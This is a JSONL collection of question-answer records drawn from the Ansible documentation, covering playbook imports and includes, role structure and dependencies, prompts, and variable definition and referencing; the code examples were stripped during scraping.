{"id": "doc_ffa97c19e631", "question": "Imports: static reuse", "question_body": "", "answer": "Importing roles, tasks, or playbooks adds them to a playbook statically. Ansible pre-processes imported files and roles before it runs any tasks in a playbook, so imported content is never affected by other tasks within the top-level playbook.\nThe file names for imported roles and tasks support templating, but the variables must be available when Ansible is pre-processing the imports. This can be done with thevarskeyword or by using--extra-vars.\nYou can pass variables to imports. You must pass variables if you want to run an imported file more than once in a playbook. For example:\nSeeVariable precedence: where should I put a variable?for more details on variable inheritance and precedence.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_reuse.html", "collected_at": "2026-01-17T09:15:46.676957"}
{"id": "doc_af322cf7f43d", "question": "Comparing includes and imports: dynamic and static reuse", "question_body": "", "answer": "Each approach to reusing distributed Ansible artifacts has advantages and limitations. You may choose dynamic reuse for some playbooks and static reuse for others. Although you can use both dynamic and static reuse in a single playbook, it is best to select one approach per playbook. Mixing static and dynamic reuse can introduce difficult-to-diagnose bugs into your playbooks. This table summarizes the main differences so you can choose the best approach for each playbook you create.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_reuse.html", "collected_at": "2026-01-17T09:15:46.677013"}
{"id": "doc_8e4983bb05fb", "question": "Reusing tasks as handlers", "question_body": "", "answer": "You can also use includes and imports in theHandlers: running operations on changesection of a playbook. For example, if you want to define how to restart Apache, you only have to do that once for all of your playbooks. You might make arestarts.ymlfile that looks like:\nYou can trigger handlers from either an import or an include, but the procedure is different for each method of reuse. If you include the file, you must notify the include itself, which triggers all the tasks inrestarts.yml. If you import the file, you must notify the individual task(s) withinrestarts.yml. You can mix direct tasks and handlers with included or imported tasks and handlers.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_reuse.html", "collected_at": "2026-01-17T09:15:46.677071"}
{"id": "doc_31209c0d3304", "question": "Triggering included (dynamic) handlers", "question_body": "", "answer": "Includes are executed at run-time, so the name of the include exists during play execution, but the included tasks do not exist until the include itself is triggered. To use theRestartapachetask with dynamic reuse, refer to the name of the include itself. This approach triggers all tasks in the included file as handlers. For example, with the task file shown above:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_reuse.html", "collected_at": "2026-01-17T09:15:46.677109"}
{"id": "doc_b1f475482f87", "question": "Triggering imported (static) handlers", "question_body": "", "answer": "Imports are processed before the play begins, so the name of the import no longer exists during play execution, but the names of the individual imported tasks do exist. To use theRestartapachetask with static reuse, refer to the name of each task or tasks within the imported file. For example, with the task file shown above:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_reuse.html", "collected_at": "2026-01-17T09:15:46.677151"}
{"id": "doc_2b15f1aba7c0", "question": "Role directory structure", "question_body": "", "answer": "An Ansible role has a defined directory structure with seven main standard directories. You must include at least one of these directories in each role. You can omit any directories the role does not use. For example:\nBy default, Ansible will look in most role directories for amain.ymlfile for relevant content (alsomain.yamlandmain):\ntasks/main.yml- A list of tasks that the role provides to the play for execution.handlers/main.yml- handlers that are imported into the parent play for use by the role or other roles and tasks in the play.defaults/main.yml- very low precedence values for variables provided by the role (seeUsing variablesfor more information). A role’s own defaults will take priority over other role’s defaults, but any/all other variable sources will override this.vars/main.yml- high precedence variables provided by the role to the play (seeUsing variablesfor more information).files/stuff.txt- one or more files that are available for the role and it’s children.templates/something.j2- templates to use in the role or child roles.meta/main.yml- metadata for the role, including role dependencies and optional Galaxy metadata such as platforms supported. This is required for uploading into galaxy as a standalone role, but not for using the role in your play.\nYou can add other YAML files in some directories, but they won’t be used by default. They can be included/imported directly or specified when usinginclude_role/import_role.\nFor example, you can place platform-specific tasks in separate files and refer to them in thetasks/main.ymlfile:\nOr call those tasks directly when loading the role, which bypasses themain.ymlfiles:\nDirectoriesdefaultsandvarsmay also includenested directories. If your variables file is a directory, Ansible reads all variables files and directories inside in alphabetical order. If a nested directory contains variables files as well as directories, Ansible reads the directories first. Below is an example of avars/maindirectory:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_reuse_roles.html", "collected_at": "2026-01-17T09:15:48.062537"}
{"id": "doc_3d6f4a8d4fe2", "question": "Storing and finding roles", "question_body": "", "answer": "By default, Ansible looks for roles in the following locations:\nin collections, if you are using themin a directory calledroles/, relative to the playbook filein the configuredroles_path. The default search path is~/.ansible/roles:/usr/share/ansible/roles:/etc/ansible/roles.in the directory where the playbook file is located\nIf you store your roles in a different location, set theroles_pathconfiguration option so Ansible can find your roles. Checking shared roles into a single location makes them easier to use in multiple playbooks. SeeConfiguring Ansiblefor details about managing settings inansible.cfg.\nAlternatively, you can call a role with a fully qualified path:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_reuse_roles.html", "collected_at": "2026-01-17T09:15:48.062616"}
{"id": "doc_94eebaf510bf", "question": "Using roles at the play level", "question_body": "", "answer": "The classic (original) way to use roles is with therolesoption for a given play:\nWhen you use therolesoption at the play level, each role ‘x’ looks for amain.yml(alsomain.yamlandmain) in the following directories:\nroles/x/tasks/roles/x/handlers/roles/x/vars/roles/x/defaults/roles/x/meta/Any copy, script, template or include tasks (in the role) can reference files in roles/x/{files,templates,tasks}/ (dir depends on task) without having to path them relatively or absolutely.\nWhen you use therolesoption at the play level, Ansible treats the roles as static imports and processes them during playbook parsing. Ansible executes each play in this order:\nAnypre_tasksdefined in the play.Any handlers triggered by pre_tasks.Each role listed inroles:, in the order listed. Any role dependencies defined in the role’smeta/main.ymlrun first, subject to tag filtering and conditionals. SeeUsing role dependenciesfor more details.Anytasksdefined in the play.Any handlers triggered by the roles or tasks.Anypost_tasksdefined in the play.Any handlers triggered by post_tasks.\nYou can pass other keywords to therolesoption:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_reuse_roles.html", "collected_at": "2026-01-17T09:15:48.062735"}
{"id": "doc_cc940235bd3d", "question": "Including roles: dynamic reuse", "question_body": "", "answer": "You can reuse roles dynamically anywhere in thetaskssection of a play usinginclude_role. While roles added in arolessection run before any other tasks in a play, included roles run in the order they are defined. If there are other tasks before aninclude_roletask, the other tasks will run first.\nTo include a role:\nYou can pass other keywords, including variables and tags, when including roles:\nWhen you add atagto aninclude_roletask, Ansible applies the tagonlyto the include itself. This means you can pass--tagsto run only selected tasks from the role, if those tasks themselves have the same tag as the include statement. SeeSelectively running tagged tasks in reusable filesfor details.\nYou can conditionally include a role:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_reuse_roles.html", "collected_at": "2026-01-17T09:15:48.062822"}
{"id": "doc_a1b844bea9fd", "question": "Importing roles: static reuse", "question_body": "", "answer": "You can reuse roles statically anywhere in thetaskssection of a play usingimport_role. The behavior is the same as using theroleskeyword. For example:\nYou can pass other keywords, including variables and tags when importing roles:\nWhen you add a tag to animport_rolestatement, Ansible applies the tag toalltasks within the role. SeeTag inheritance: adding tags to multiple tasksfor details.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_reuse_roles.html", "collected_at": "2026-01-17T09:15:48.062883"}
{"id": "doc_e8ca6b565e90", "question": "Role argument validation", "question_body": "", "answer": "Beginning with version 2.11, you may choose to enable role argument validation based on an argument\nspecification. This specification is defined in themeta/argument_specs.ymlfile (or with the.yamlfile extension). When this argument specification is defined, a new task is inserted at the beginning of role execution\nthat will validate the parameters supplied for the role against the specification. If the parameters fail\nvalidation, the role will fail execution.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_reuse_roles.html", "collected_at": "2026-01-17T09:15:48.062942"}
{"id": "doc_7115ba116f62", "question": "Specification format", "question_body": "", "answer": "The role argument specification must be defined in a top-levelargument_specsblock within the\nrolemeta/argument_specs.ymlfile. All fields are lowercase.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_reuse_roles.html", "collected_at": "2026-01-17T09:15:48.062980"}
{"id": "doc_c0a55757d874", "question": "Running a role multiple times in one play", "question_body": "", "answer": "Ansible only executes each role once in a play, even if you define it multiple times unless the parameters defined on the role are different for each definition. For example, Ansible only runs the rolefooonce in a play like this:\nYou have two options to force Ansible to run a role more than once.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_reuse_roles.html", "collected_at": "2026-01-17T09:15:48.063049"}
{"id": "doc_d0e4a97eb8a0", "question": "Passing different parameters", "question_body": "", "answer": "If you pass different parameters in each role definition, Ansible runs the role more than once. Providing different variable values is not the same as passing different role parameters. You must use theroleskeyword for this behavior, sinceimport_roleandinclude_roledo not accept role parameters.\nThis play runs thefoorole twice:\nThis syntax also runs thefoorole twice;\nIn these examples, Ansible runsfootwice because each role definition has different parameters.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_reuse_roles.html", "collected_at": "2026-01-17T09:15:48.063116"}
{"id": "doc_8279632e49ef", "question": "Usingallow_duplicates:true", "question_body": "", "answer": "Addallow_duplicates:trueto themeta/main.ymlfile for the role:\nIn this example, Ansible runsfootwice because we have explicitly enabled it to do so.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_reuse_roles.html", "collected_at": "2026-01-17T09:15:48.063162"}
{"id": "doc_af87c9739ace", "question": "Using role dependencies", "question_body": "", "answer": "Role dependencies let you automatically pull in other roles when using a role.\nRole dependencies are prerequisites, not true dependencies. The roles do not have a parent/child relationship. Ansible loads all listed roles, runs the roles listed underdependenciesfirst, then runs the role that lists them. The play object is the parent of all roles, including roles called by adependencieslist.\nRole dependencies are stored in themeta/main.ymlfile within the role directory. This file should contain a list of roles and parameters to insert before the specified role. For example:\nAnsible always executes roles listed independenciesbefore the role that lists them. Ansible executes this pattern recursively when you use theroleskeyword. For example, if you list rolefoounderroles:, rolefoolists rolebarunderdependenciesin its meta/main.yml file, and rolebarlists rolebazunderdependenciesin its meta/main.yml, Ansible executesbaz, thenbar, thenfoo.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_reuse_roles.html", "collected_at": "2026-01-17T09:15:48.063237"}
{"id": "doc_653c01a1aff3", "question": "Running role dependencies multiple times in one play", "question_body": "", "answer": "Ansible treats duplicate role dependencies like duplicate roles listed underroles:: Ansible only executes role dependencies once, even if defined multiple times, unless the parameters, tags, or when clause defined on the role are different for each definition. If two roles in a play both list a third role as a dependency, Ansible only runs that role dependency once, unless you pass different parameters, tags, when clause, or useallow_duplicates:truein the role you want to run multiple times. SeeGalaxy role dependenciesfor more details.\nFor example, a role namedcardepends on a role namedwheelas follows:\nAnd thewheelrole depends on two roles:tireandbrake. Themeta/main.ymlfor wheel would then contain the following:\nAnd themeta/main.ymlfortireandbrakewould contain the following:\nThe resulting order of execution would be as follows:\nTo useallow_duplicates:truewith role dependencies, you must specify it for the role listed underdependencies, not for the role that lists it. In the example above,allow_duplicates:trueappears in themeta/main.ymlof thetireandbrakeroles. Thewheelrole does not requireallow_duplicates:true, because each instance defined bycaruses different parameter values.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_reuse_roles.html", "collected_at": "2026-01-17T09:15:48.063351"}
{"id": "doc_e381bcc961f4", "question": "Embedding modules and plugins in roles", "question_body": "", "answer": "If you write a custom module (seeShould you develop a module?) or a plugin (seeDeveloping plugins), you might wish to distribute it as part of a role. For example, if you write a module that helps configure your company’s internal software, and you want other people in your organization to use this module, but do not want to tell everyone how to configure their Ansible library path, you can include the module in your internal_config role.\nTo add a module or a plugin to a role:\nAlongside the ‘tasks’ and ‘handlers’ structure of a role, add a directory named ‘library’ and then include the module directly inside the ‘library’ directory.\nAssuming you had this:\nThe module will be usable in the role itself, as well as any roles that are calledafterthis role, as follows:\nIf necessary, you can also embed a module in a role to modify a module in Ansible’s core distribution. For example, you can use the development version of a particular module before it is released in production releases by copying the module and embedding the copy in a role. Use this approach with caution, as API signatures may change in core components, and this workaround is not guaranteed to work.\nThe same mechanism can be used to embed and distribute plugins in a role, using the same schema. For example, for a filter plugin:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_reuse_roles.html", "collected_at": "2026-01-17T09:15:48.063443"}
{"id": "doc_96a82dd62d0d", "question": "Sharing roles: Ansible Galaxy", "question_body": "", "answer": "Ansible Galaxyis a free site for finding, downloading, rating, and reviewing all kinds of community-developed Ansible roles and can be a great way to get a jumpstart on your automation projects.\nThe clientansible-galaxyis included in Ansible. The Galaxy client allows you to download roles from Ansible Galaxy and provides an excellent default framework for creating your own roles.\nRead theAnsible Galaxy documentationpage for more information.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_reuse_roles.html", "collected_at": "2026-01-17T09:15:48.063497"}
{"id": "doc_6a1a696f9635", "question": "Module defaults groups", "question_body": "", "answer": "Module default groups allow to provide common parameters to groups of modules that belong together. Collections can define such groups in theirmeta/runtime.ymlfile.\nHere is an exampleruntime.ymlfile for thens.collcollection.\nThis file defines an action group namedns.coll.my_groupand places thesample_modulefromns.collandanother_modulefromanother.collectioninto the group.\nThis group can now be used in a playbook like this:\nFor historical reasons and backwards compatibility, there are some special groups:\nCheck out the documentation for the collection or its meta/runtime.yml to see which action plugins and modules are included in the group.\nUse the groups withmodule_defaultsby prefixing the group name withgroup/- for examplegroup/aws.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_module_defaults.html", "collected_at": "2026-01-17T09:15:49.816182"}
{"id": "doc_0797640a54b4", "question": "Hashing values supplied byvars_prompt", "question_body": "", "answer": "You can hash the entered value so you can use it, for example, with the user module to define a password:\nIf you havePasslibinstalled, you can use any crypt scheme the library supports:\ndes_crypt- DES Cryptbsdi_crypt- BSDi Cryptbigcrypt- BigCryptcrypt16- Crypt16md5_crypt- MD5 Cryptbcrypt- BCryptsha1_crypt- SHA-1 Cryptsun_md5_crypt- Sun MD5 Cryptsha256_crypt- SHA-256 Cryptsha512_crypt- SHA-512 Cryptapr_md5_crypt- Apache’s MD5-Crypt variantphpass- PHPass’ Portable Hashpbkdf2_digest- Generic PBKDF2 Hashescta_pbkdf2_sha1- Cryptacular’s PBKDF2 hashdlitz_pbkdf2_sha1- Dwayne Litzenberger’s PBKDF2 hashscram- SCRAM Hashbsd_nthash- FreeBSD’s MCF-compatible nthash encoding\nThe only parameters accepted are ‘salt’ or ‘salt_size’. You can use your own salt by defining\n‘salt’, or have one generated automatically using ‘salt_size’. By default, Ansible generates a salt\nof size 8.\nIf you do not have Passlib installed, Ansible uses thecryptlibrary as a fallback. Ansible supports at most four crypt schemes, depending on your platform at most the following crypt schemes are supported:\nbcrypt- BCryptmd5_crypt- MD5 Cryptsha256_crypt- SHA-256 Cryptsha512_crypt- SHA-512 Crypt", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_prompts.html", "collected_at": "2026-01-17T09:15:51.162523"}
{"id": "doc_e58151a95149", "question": "Allowing special characters invars_promptvalues", "question_body": "", "answer": "Some special characters, such as{and%can create templating errors. If you need to accept special characters, use theunsafeoption:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_prompts.html", "collected_at": "2026-01-17T09:15:51.162577"}
{"id": "doc_5cfa2cf679a9", "question": "Creating valid variable names", "question_body": "", "answer": "Not all strings are valid Ansible variable names. A variable name can only include letters, numbers, and underscores.Python keywordsorplaybook keywordsare not valid variable names. A variable name cannot begin with a number.\nVariable names can begin with an underscore. In many programming languages, variables that begin with an underscore are private. This is not true in Ansible. Ansible treats variables that begin with an underscore the same as any other variable. Do not rely on this convention for privacy or security.\nThis table gives examples of valid and invalid variable names:\nAnsible defines certainvariablesinternally. You cannot define these variables.\nAvoid variable names that overwrite Jinja2 global functions listed inWorking with playbooks, such aslookup,query,q,now, andundef.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_variables.html", "collected_at": "2026-01-17T09:15:52.316074"}
{"id": "doc_1fe364ce31af", "question": "Defining simple variables", "question_body": "", "answer": "You can define a simple variable using standard YAML syntax. For example:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_variables.html", "collected_at": "2026-01-17T09:15:52.316126"}
{"id": "doc_b2ee85b3be69", "question": "Referencing simple variables", "question_body": "", "answer": "After you define a variable, use Jinja2 syntax to reference it. Jinja2 variables use double curly braces. For example, the expressionMyampgoesto{{max_amp_value}}demonstrates the most basic form of variable substitution. You can use Jinja2 syntax in playbooks. The following example shows a variable that defines the location of a file, which can vary from one system to another:\nAnsible allows Jinja2 loops and conditionals intemplatesbut not in playbooks. You cannot create a loop of tasks. Ansible playbooks are pure machine-parseable YAML.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_variables.html", "collected_at": "2026-01-17T09:15:52.316178"}
{"id": "doc_13eca0bf3392", "question": "When to quote variables (a YAML gotcha)", "question_body": "", "answer": "If you start a value with{{foo}}, you must quote the whole expression to create valid YAML syntax. If you do not quote the whole expression, the YAML parser cannot interpret the syntax. The parser cannot determine if it is a variable or the start of a YAML dictionary. For guidance on writing YAML, see theYAML Syntaxdocumentation.\nIf you use a variable without quotes, like this:\nYou will see:ERROR!SyntaxErrorwhileloadingYAML.If you add quotes, Ansible works correctly:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_variables.html", "collected_at": "2026-01-17T09:15:52.316242"}
{"id": "doc_1a4459a62767", "question": "Defining variables as lists", "question_body": "", "answer": "You can define variables with multiple values using YAML lists. For example:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_variables.html", "collected_at": "2026-01-17T09:15:52.316321"}
{"id": "doc_d3dc551e9776", "question": "Referencing list variables", "question_body": "", "answer": "If you use a variable defined as a list (also called an array), you can use individual, specific items from that list. The first item in a list is item 0, the second item is item 1, and so on. For example:\nThe value of this expression would be “northeast”.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_variables.html", "collected_at": "2026-01-17T09:15:52.316399"}
{"id": "doc_f7ba286c5d45", "question": "Dictionary variables", "question_body": "", "answer": "A dictionary stores data in key-value pairs. Usually, you use dictionaries to store related data, such as the information contained in an ID or a user profile.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_variables.html", "collected_at": "2026-01-17T09:15:52.316459"}
{"id": "doc_03ef3b13c7e7", "question": "Defining variables as key-value dictionaries", "question_body": "", "answer": "You can define more complex variables using YAML dictionaries. A YAML dictionary maps keys to values. For example:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_variables.html", "collected_at": "2026-01-17T09:15:52.316509"}
{"id": "doc_b64f8b62157b", "question": "Referencing key-value dictionary variables", "question_body": "", "answer": "If you use a variable defined as a key-value dictionary (also called a hash), you can use individual, specific items from that dictionary using either bracket notation or dot notation:\nBoth of these examples reference the same value (“one”). Bracket notation always works. Dot notation can cause problems because some keys collide with attributes and methods of python dictionaries. Use bracket notation if you use keys that start and end with two underscores, which are reserved for special meanings in python, or are any of the known public attributes:\nadd,append,as_integer_ratio,bit_length,capitalize,center,clear,conjugate,copy,count,decode,denominator,difference,difference_update,discard,encode,endswith,expandtabs,extend,find,format,fromhex,fromkeys,get,has_key,hex,imag,index,insert,intersection,intersection_update,isalnum,isalpha,isdecimal,isdigit,isdisjoint,is_integer,islower,isnumeric,isspace,issubset,issuperset,istitle,isupper,items,iteritems,iterkeys,itervalues,join,keys,ljust,lower,lstrip,numerator,partition,pop,popitem,real,remove,replace,reverse,rfind,rindex,rjust,rpartition,rsplit,rstrip,setdefault,sort,split,splitlines,startswith,strip,swapcase,symmetric_difference,symmetric_difference_update,title,translate,union,update,upper,values,viewitems,viewkeys,viewvalues,zfill.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_variables.html", "collected_at": "2026-01-17T09:15:52.316632"}
{"id": "doc_c13773a61b4e", "question": "Combining variables", "question_body": "", "answer": "To merge variables that contain lists or dictionaries, you can use the following approaches.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_variables.html", "collected_at": "2026-01-17T09:15:52.316717"}
{"id": "doc_d4c8420877b3", "question": "Combining list variables", "question_body": "", "answer": "You can use theset_factmodule to combine lists into a newmerged_listvariable as follows:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_variables.html", "collected_at": "2026-01-17T09:15:52.316791"}
{"id": "doc_9d81eee4e402", "question": "Combining dictionary variables", "question_body": "", "answer": "To merge dictionaries, use thecombinefilter. For example:\nFor more details, seeansible.builtin.combine.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_variables.html", "collected_at": "2026-01-17T09:15:52.316836"}
{"id": "doc_a5f690228de4", "question": "Using the merge_variables lookup", "question_body": "", "answer": "To merge variables that match the given prefixes, suffixes, or regular expressions, you can use thecommunity.general.merge_variableslookup. For example:\nFor more details and example usage, refer to thecommunity.general.merge_variables lookup documentation.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_variables.html", "collected_at": "2026-01-17T09:15:52.316886"}
{"id": "doc_57bdc5fd0560", "question": "Registering variables", "question_body": "", "answer": "You can create a variable from the output of an Ansible task with the task keywordregister. You can use the registered variable in any later task in your play. For example:\nFor more examples of using registered variables in conditions on later tasks, seeConditionals. Registered variables may be simple variables, list variables, dictionary variables, or complex nested data structures. The documentation for each module includes aRETURNsection that describes the return values for that module. To see the values for a particular task, run your playbook with-v.\nRegistered variables are stored in memory. You cannot cache registered variables for use in future playbook runs. A registered variable is valid only on the host for the rest of the current playbook run, including subsequent plays within the same playbook run.\nRegistered variables are host-level variables. When you register a variable in a task with a loop, the registered variable contains a value for each item in the loop. The data structure placed in the variable during the loop contains aresultsattribute, which is a list of all responses from the module. For a more in-depth example of how this works, see theLoopssection on using register with a loop.\nIf a task fails or is skipped, Ansible still registers a variable with a failure or skipped status, unless the task is skipped based on tags. SeeTagsfor information on adding and using tags.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_variables.html", "collected_at": "2026-01-17T09:15:52.316959"}
{"id": "doc_37f2ba63f092", "question": "Referencing nested variables", "question_body": "", "answer": "Many registered variables andfactsare nested YAML or JSON data structures. You cannot access values from these nested data structures with the simple{{foo}}syntax. You must use either bracket notation or dot notation. For example, to reference an IP address from your facts using bracket notation:\nTo reference an IP address from your facts using dot notation:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_variables.html", "collected_at": "2026-01-17T09:15:52.317013"}
{"id": "doc_700aa60b3890", "question": "Transforming variables with Jinja2 filters", "question_body": "", "answer": "Jinja2 filters let you transform the value of a variable within a template expression. For example, thecapitalizefilter capitalizes any value passed to it; theto_yamlandto_jsonfilters change the format of your variable values. Jinja2 includes manybuilt-in filters, and Ansible supplies many more filters. To find more examples of filters, seeUsing filters to manipulate data.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_variables.html", "collected_at": "2026-01-17T09:15:52.317046"}
{"id": "doc_73b1292647ae", "question": "Where to set variables", "question_body": "", "answer": "You can define variables in a variety of places, such as in inventory, in playbooks, in reusable files, in roles, and at the command line. Ansible loads every possible variable it finds, then chooses the variable to apply based onvariable precedence rules.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_variables.html", "collected_at": "2026-01-17T09:15:52.317103"}
{"id": "doc_62f46cccaa6b", "question": "Defining variables in inventory", "question_body": "", "answer": "You can define different variables for each host individually, or set shared variables for a group of hosts in your inventory. For example, if all machines in the[boston]group use ‘boston.ntp.example.com’ as an NTP server, you can set a group variable. TheHow to build your inventorypage has details on settinghost variablesandgroup variablesin inventory.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_variables.html", "collected_at": "2026-01-17T09:15:52.317137"}
